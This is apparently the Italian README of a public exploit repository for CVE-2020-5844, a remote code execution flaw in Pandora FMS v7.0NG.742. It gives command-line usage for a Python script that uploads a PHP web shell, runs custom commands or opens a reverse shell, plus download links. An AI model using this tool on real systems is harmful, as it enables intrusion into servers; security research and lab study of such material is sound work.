Exploit per CVE-2020-5844 (Pandora FMS v7.0NG.742) - Esecuzione di codice remoto

Ti piace questo repository? Dacci una ⭐!

Solo per scopi educativi e di ricerca sulla sicurezza autorizzati.

Autore dell'Exploit

@UNICORDev di (@NicPWNs e @Dev-Yeoj)

Descrizione della Vulnerabilità

index.php?sec=godmode/extensions&sec2=extensions/files_repo in Pandora FMS v7.0 NG consente agli amministratori autenticati di caricare script PHP dannosi e di eseguirli tramite la decodifica base64 della posizione del file. Ciò riguarda v7.0NG.742_FIX_PERL2020.

Descrizione dell'Exploit

Usa questo exploit per l'esecuzione di codice remoto su versioni vulnerabili di Pandora FMS. Richiede un indirizzo IP e una porta del target. Richiede credenziali valide (nome utente/password) o un cookie PHPSESSID valido per l'autenticazione. Esegui in modalità predefinita per caricare una semplice web shell PHP. Esegui in modalità comando personalizzato per eseguire un comando personalizzato sul target. Esegui in modalità reverse shell per ricevere una reverse shell dal target su un listener che hai impostato. Esegui in modalità web shell personalizzata per modificare il nome del file della web shell PHP.

Utilizzo

  python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -u <username> <password>
  python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID>
  python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-c <custom-command>]
  python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-s <local-ip> <local-port>]
  python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-w <name.php>]
  python3 exploit-CVE-2020-5844.py -h

Opzioni

  -t    Target host and port. Provide target IP address and port.
  -u    Target username and password. Provide username and password to log in to Pandora FMS.
  -p    Target valid PHP session ID. No username or password needed. (Optional)
  -s    Reverse shell mode. Provide local IP address and port. (Optional)
  -c    Custom command mode. Provide command to execute. (Optional)
  -w    Web shell custom mode. Provide custom PHP file name. (Optional)
  -h    Show this help menu.

Download

Scarica exploit-CVE-2020-5844.py da GitHub

Scarica exploit-CVE-2020-5844.py da ExploitDB

Searchsploit (ExploitDB)

searchsploit -u
searchsploit -m 50961

Si Applica a

Pandora FMS v7.0NG.742

Requisiti dell'Exploit

• python3
• python3:requests

Demo

Modalità predefinita con nome utente e password

Modalità predefinita con PHPSESSID

Modalità comando personalizzato

Modalità reverse shell

Modalità nome web shell personalizzato

Crediti

• https://nvd.nist.gov/vuln/detail/CVE-2020-5844
• https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/742_FIX_PERL2020/Tarball/pandorafms_server-7.0NG.742_FIX_PERL2020.tar.gz
• https://app.hackthebox.com/machines/Pandora
• https://github.com/TheCyberGeek/CVE-2020-5844
• https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated
• https://www.exploit-db.com/exploits/50961